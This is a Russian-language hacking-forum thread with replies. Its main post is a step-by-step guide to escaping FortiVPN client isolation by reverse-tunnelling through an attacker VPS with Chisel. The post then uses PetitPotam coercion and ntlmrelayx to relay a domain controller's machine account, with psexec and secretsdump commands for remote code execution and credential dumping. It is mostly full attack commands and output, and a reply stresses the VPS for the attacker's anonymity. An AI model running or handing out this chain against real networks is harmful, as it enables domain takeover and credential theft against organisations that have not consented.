LIMB
Вход Регистрация

тема

Обход изоляции и особенности пентеста через SSL VPN

DCcorp · · 10 ответов · 911 просмотров

Не удалось прогрузить медиа


Введение

Сейчас очень распространены доступы через различные SSL VPN, в частности Fortinet, Cisco, F5. При исследовании таких сетей мы можем заметить, что некоторые стандартные инструменты не отрабатывают так, как должны, например не прилетает Reverse Shell или Relay.
Разберём на примере FortiVPN. Дело в том, что Forti из коробки настроен так, что пул адресов VPN-юзеров отделен от основных роутов, мы находимся в "песочнице", это означает, что:

- Нет LLMNR/ NBNS;
- Серверы не отправляют NTLM запросы на нашу машину;
- Даже если мы подключены к домену - машина не воспринимается как трастовая.

Например сканировать, подключаться по RDP к таргетам мы можем, но, если поднять http сервер:
Bash:
python3 -m http.server 8080

то подключиться из основной сети (предположим Windows 11) к серверу не получится, хотя очень часто бывает необходимым быстро развернуть локальный сервер для возможности расшарить какой-либо пэйлоад.

Не выйдет и произвести атаку NTLMRelay, вызванную, например PetitPotam.

Мы нашли простой в реализации выход - обход через VPS и Chisel. В данной статье рассмотрим, как построить рабочую схему для пентеста корпоративной сети внутри VPN на примере проведения атаки PetitPotam и NTLMRelay.

Теория

Для начала, о PetitPotam и NTLMRelay.

PetitPotam - это техника, позволяющая заставить целевую машину (обычно контроллер домена или сервер с включённой службой MS-EFSRPC ) инициировать аутентификацию по протоколу NTLM к произвольному хосту. Это достигается через вызов уязвимых RPC функций, таких как EfsRpcOpenFileRaw, которые не требуют предварительной аутентификации и автоматически выполняют аутентификацию от имени компьютерной учётной записи (обычно MACHINE$).

Для эксплуатации достаточно запустить скрипт, который можно найти на гитхабе (ссылка https://github.com/topotam/PetitPotam):

Bash:
python3 petitpotam.py -u <user> -p <password> <ATTACKER_IP> <TARGET_DC>

Как итог домен контроллер (либо другая уязвимая машина) попытается аутентифицироваться на машине атакующего по протоколу NTLM, то есть мы получим хэш от учетки DC$.

NTLM Relay - это техника, при которой злоумышленник перехватывает NTLM обмен между клиентом и сервером и мгновенно ретранслирует его на другой целевой сервис, выдавая себя за клиента. При этом никакого взламывания хэшей не нужно.

Запускается командой:
Bash:
impacket-ntlmrelayx -t smb://dc.corp.local --no-http-server -smb2support

Методы, способы и вариации Relay, PetitPotam и других сплоитов описывать не буду, т.к. информации в интернете достаточно, поэтому перейдем к самому важному – реализации в сети VPN.

Обход ограничений

Начнем разбор с самого начала, поэтому просто просканируем сеть:
Bash:
nxc smb 172.16.0.0/24

Видим, что есть 2 контроллера, причем у DC2 signing:False, а это значит, что на него сработает Relay

Bash:
SMB 172.16.0.5 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 172.16.0.6 445 DC2 [*] Windows Server 2019 Build 17763 x64 (name:DC2) (domain:corp.local) (signing:False) (SMBv1:False)

Если мы попробуем просто запустить атаку на DC1, описанную ранее, то увидим, что нам абсолютно ничего не прилетело, хотя PetitPotam отработал. Все из-за того, что наша цель по просту не видит компьютер атакующего и не может отправить ответ.

Суть нашего метода заключается в том, что из VPN сети есть доступ в Интернет, а значит и к нашему VPS (надеюсь он у вас есть).

Потребуется реализовать следующую схему:

Не удалось прогрузить медиа



Подготовка VPS

Как вы уже поняли, для успешного выполнения потребуется VPS, либо машина с белым IP.

К счастью VPS у меня есть, поэтому начнём с того, что установим Chisel

Bash:
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz
gunzip chisel_1.11.3_linux_amd64.gz
mv chisel_1.11.3_linux_amd64 chisel
chmod +x chisel

Теперь после установки запускаем наш сервер с обратным туннелем и SOCKS5, делается это просто:

Bash:
./chisel server -p 8080 --reverse --socks5

В результате увидим что-то вроде:

Bash:
[-] Reverse tunnelling enabled
[-] SOCKS5 proxy enabled
[-] Listening on http://0.0.0.0:8080

Отлично , наш сервер готов к использованию. Кстати заметил бывает на некоторых операционках. что нужно запускать с правами sudo из-за необходимости управлять портами, так что не пугаемся ошибок и запускаем  с нужными правами

Подключаем Kali изнутри FortiVPN к нашему туннелю

Теперь нам нужно зайти на рабочую ОС, в моем случае это Kali (любимая), устанавливаем аналогичным образом chisel, желательно чтобы это была одна и та же версия, но запускаем в client режиме:

Bash:
./chisel client < VPS_IP>:8080 R:445:127.0.0.1:4445 R:80:127.0.0.1:8080

Получаем примерно вот такой вывод:

Bash:
[-] Connecting to ws://< VPS_IP>:8080
[-] Connected (Latency 8ms)
[-] Tunnel #1 created: 445 ⇄ 127.0.0.1:4445
[-] Tunnel #2 created: 80 ⇄ 127.0.0.1:8080

Вот тут ВАЖНО - нужно пробросить порт 445 с VPS на локальный 4445, потому что порт 445 на Kali может быть занят (как было у меня, сначала не понимал в чем проблема)!

И наконец после этого мы получаем заветное соединение между портами VPS и Kali, таким образом весь трафик, который летит на 445 и 80 порт VPS, перенаправляется прямиком на нашу машину внутри VPN. Половина дела сделана (ну почти)

Запуск NTLM Relay ВНУТРИ сети (на Kali)

Ставим всеми любимый Impacket (у кого ещё не установлен):

Bash:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python3 setup.py install

Ну и запускаем ntlmrelayx через impacket

Bash:
Impacket-ntlmrelayx.py \
-t smb://xxx.xxx.xxx.xxx \ #  айпи целевой DC (на самом деле не обязательно домен контроллер, в моем случае 172.16.60.6)
-smb2support \ # Поддержка SMB2 (частенько бывает необходимым)
-l /tmp/logs \ # Сохраняем весь вывод в папку, чтобы случайно не забыть ( полезная фича )
 -socks \ # Включаем  SOCKs5 прокси ( необязательно, но мне нравится,   удобно)
-smb-port 4445 \  # Слушаем локальный 4445, который установили ранее ( не 445)
-http-port 8080 #  Для HTTP-триггеров (если потребуется для специфических атак)

Смотрим логи и получаем следующий вывод:

Bash:
[*]  Protocol Client SMB loaded..
[*] Running in relay mode to  single host
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] SOCKS proxy listening on 127.0.0.1 :1080.
[*] SMB server listening on 127.0.0.1:4445
[*] HTTP server listening on 127.0.0.1:8080

Видим, что необходимые сервисы запустились, а значит машина готова к проведению  " релея"

Триггерим атаку

По сути, вся подготовка завершена, осталось только запустить сплоит,  в нашем случае PetitPotam, и получить результат.

Для этого соответственно качаем PetitPotam

Bash:
git clone   https://github.com/topotam/PetitPotam.git
cd PetitPotam

И запускаем

Bash:
python3 petitpotam.py -d corp.local -u guest -p '' <DC1_IP> <VPS_IP>

По логам видим, что эксплоит прошел успешно:

Bash:
[+] Attempting to coerce authentication via EfsRpcOpenFileRaw()...
[+] Triggered EFSRPC coercion!
[*] Sending request to \\VPS-IP\IPC$
[*] Request sent successfully.

Значит желаемый запрос от цели должен был улететь на наш VPS, затем оттуда через chisel туннель на ПК атакующего, ну а дальше самое интересное

Что происходит после успешного релея?

Получаем такой вывод на Kali:

Bash:
[*] Got authentication request from 127.0.0.1
[*] Authenticated as: corp.local/DC01$@CORP.LOCAL
[*] Requesting shares on 172.16.60.6 ...
[*] Enumerating domain info on 172.16.60.6 ...
[*] Relaying to smb://172.16.60.6 SUCCEED
[*] ServicePrincipalName: HOST/dc02.corp.local
[*] User SID: S-1-5-21-1334561822-5434567890-1834527820-1001
[*] PrimaryGroupID: 513
[*] PasswordLastSet: 2025-10-10 14:22:33
[*] AccountExpires: Never
[*] SAM account name: DC02$
[*] Domain: CORP.LOCAL
[*] LM hash: aad3b435b51404eeaad3b435b51404ee
[*] NTLM hash: 31d6cfe0d16ae931b73c59d7e0c089c0
[*] Kerberos keys exported to /tmp/logs/smbrelay-dc02.kerberos

Как мы можем заметить, наша схема сработала и мы получили хэш компьютерной учётки DC2!

Теперь можно получить RCE:

Bash:
psexec.py corp.local/DC02\$@172.16.60.6 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

Или просто сдампить NTDS:

Bash:
secretsdump.py corp.local/DC02\$@172.16.60.6 -just-dc-user 'Administrator'

В результате получаем полный контроль над DC2, а значит и над всем доменом

Подводим итоги
Таким методом можно реализовать любую атаку внутри VPN SSL, требующую запрос от целевого хоста на наш IP, будь то ADCS или просто подгрузить payload с python-сервера. Данный способ работы был протестирован мной лично и используется всей командой, достаточно эффективно. Конечно есть свои минусы, например в некоторых эксплоитах при попытке регистрациис помощью NTLM на VPS (то есть ПК вне домена) будет использоваться нулевая сессия, но тут важна сама задумка, а как ее применить, каждый решит сам для себя.

Если возникли вопросы или трудности всегда поможем и подскажем)

С уважением DCcorp&SPBcorp!
👍55 ❤️13 🤔17 💯16
ОтветDCcorp

Потребуется реализовать следующую схему: Медиа заблокировано Этот домен не входит в список разрешённых для медиа. Формат: изображения / GIF Домен: forum.LIMB.cc Разрешённые домены imgur.com ru.imgbb.com prnt.sc…

А если атакующий хост итак имеет белый ip , на впс\вдс, без посредника просто свой attacker ip ввести не сработает ?
Разве сикретсдамп с нтлм хэшом отработает?
ОтветMonaliza

Разве сикретсдамп с нтлм хэшом отработает?

да
Ответqwertye

А если атакующий хост итак имеет белый ip , на впс\вдс, без посредника просто свой attacker ip ввести не сработает ?

Если от провайдера есть белый IP, то в целом, да, сработает, но здесь вопрос об анонимности твоего IP
👍2
ОтветMonaliza

Разве сикретсдамп с нтлм хэшом отработает?

Да, сработает
👍2
Очень годно.
+РЕП автору интересная статья
Возможно я что-то не понимаю, но у белых провайдеров обычно заблокирован порт 445, а так как слушаем и перенаправляем мы именно его, то ответа мы не получим, разве нет? То есть PetitPotam отправляет именно на 445 порт, а мы почему-то слушаем 4445. Кто нибудь может мне с этим помочь? Никак не могу получить ответ на этот порт, даже с перенаправлением этого порта все ровно ничего к 445 подключится не может, попробовал слушать и перенаправлять 139 и это сработало, но тогда мешает то что уязвимость PetitPotam отправляет именно на 445, и опять ничего не приходит. Заранее спасибо.
👍5 ❤️1
ОтветLearning_DZEN

Возможно я что-то не понимаю, но у белых провайдеров обычно заблокирован порт 445, а так как слушаем и перенаправляем мы именно его, то ответа мы не получим, разве нет? То есть PetitPotam отправляет именно на 445 порт…

PetitPotam отправляет на 445 порт VPS, а тот в свою очередь отправляет на 4445 порт Kali. Если 445 порт принудительно закрыт, значит это особенности политики провайдера
Отличная статья!

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.